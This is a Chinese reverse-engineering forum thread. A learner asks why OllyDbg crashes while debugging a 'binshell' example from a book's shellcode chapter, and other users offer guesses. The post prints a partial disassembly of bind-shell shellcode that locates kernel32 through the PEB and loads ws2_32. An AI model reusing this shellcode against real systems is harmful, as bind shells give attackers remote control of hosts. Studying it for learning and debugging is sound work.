首页
社区
课程
招聘
[求助]OLLY对第五章的binshell调试时出现问题 不懂
发表于: 2010-10-9 10:32 6190

[求助]OLLY对第五章的binshell调试时出现问题 不懂

2010-10-9 10:32
6190
00401010 >|> \55            push    ebp
00401011  |.  8BEC          mov     ebp, esp
00401013  |.  83EC 40       sub     esp, 40
00401016  |.  53            push    ebx
00401017  |.  56            push    esi
00401018  |.  57            push    edi
00401019  |.  8D7D C0       lea     edi, dword ptr [ebp-40]
0040101C  |.  B9 10000000   mov     ecx, 10
00401021  |.  B8 CCCCCCCC   mov     eax, CCCCCCCC
00401026  |.  F3:AB         rep     stos dword ptr es:[edi]--------在这里的时候会进入NTDLL.DLL,然后 选择 执行到用户代码时会出现“binshell遇到问题需要关闭”
00401028  |.  90            nop
00401029  |.  90            nop
0040102A  |.  90            nop
0040102B  |.  90            nop
0040102C  |.  90            nop
0040102D  |.  90            nop
0040102E  |.  90            nop
0040102F  |.  90            nop
00401030  |.  90            nop
00401031  |.  90            nop
00401032  |.  90            nop
00401033  |.  90            nop
00401034  |.  90            nop
00401035  |.  90            nop
00401036  |.  90            nop
00401037  |.  90            nop
00401038  |.  90            nop
00401039  |.  90            nop
0040103A  |.  90            nop
0040103B  |.  90            nop
0040103C  |.  90            nop
0040103D  |.  59            pop     ecx                              ;  ======如果在这里下断的话程序会断下来
0040103E  |.  81C9 D3623020 or      ecx, 203062D3
00401044  |.  41            inc     ecx
00401045  |.  43            inc     ebx
00401046  |.  4D            dec     ebp
00401047  |.  64:99         cdq                                      ;  _CODE START
00401049  |.  96            xchg    eax, esi                         ;  ESI=first foo hash
0040104A  |.  8D7E E8       lea     edi, dword ptr [esi-18]          ;  
0040104D  |.  64:8B5A 30    mov     ebx, dword ptr fs:[edx+30]
00401051  |.  8B4B 0C       mov     ecx, dword ptr [ebx+C]======到这又出现“遇到问题需要关闭了”而且即使下面下断点的话也没法断下来了
00401054  |.  8B49 1C       mov     ecx, dword ptr [ecx+1C]
00401057  |.  8B09          mov     ecx, dword ptr [ecx]
00401059  |.  8B69 08       mov     ebp, dword ptr [ecx+8]           ;  EBP=get the base addr of KERNEL32.DLL
0040105C  |.  B6 03         mov     dh, 3                            ;  ROOM for WSADATA
0040105E  |.  2BE2          sub     esp, edx                         ;  ------
00401060  |.  66:BA 3332    mov     dx, 3233
00401064  |.  52            push    edx
00401065  |.  68 7773325F   push    5F327377
0040106A  |.  54            push    esp                              ;  push a pointer to "ws2_32" onto stack
0040106B  |>  AC            /lods    byte ptr [esi]
0040106C  |.  3C D3         |cmp     al, 0D3
0040106E  |.  75 06         |jnz     short 00401076
00401070  |.  95            |xchg    eax, ebp
00401071  |.  FF57 F4       |call    dword ptr [edi-C]

出现问题的原因是什么啊

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这个问题在类似的 5_4_shellcode_popup_general 里就没有出现,这是否说明前面的 “准NOP”
0040103D  |.  59            pop     ecx                              ;  ======如果在这里下断的话程序会断下来
0040103E  |.  81C9 D3623020 or      ecx, 203062D3
00401044  |.  41            inc     ecx
00401045  |.  43            inc     ebx
00401046  |.  4D            dec     ebp

其实对程序还是有影响的呢?
2010-10-9 10:42
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
没有人回答。。。。。
2010-10-10 21:37
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
最近我看了这些, 大概是因为
eax, CCCCCCCC
这是eax是大于0x80000000,而不是小于
会出现问题

如果你用给出的机器码写到shellcode里,应该是不会有问题的
2010-10-18 22:01
0
雪    币: 12821
活跃值: (4045)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
客观讲,没看懂,有点深了。
2010-10-19 21:28
0
雪    币: 121
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼主的问题我在调试的时候也出现了 同问啊 到底是什么愿意呢 如果像4楼说的那样的话,那么之前先将eax清零,结果还是一样的,就是会在lodsb那句跳转进ntdll.dll,不明白到底为什么,求大牛指点呀~
2011-2-1 09:37
0
游客
登录 | 注册 方可回帖
返回
//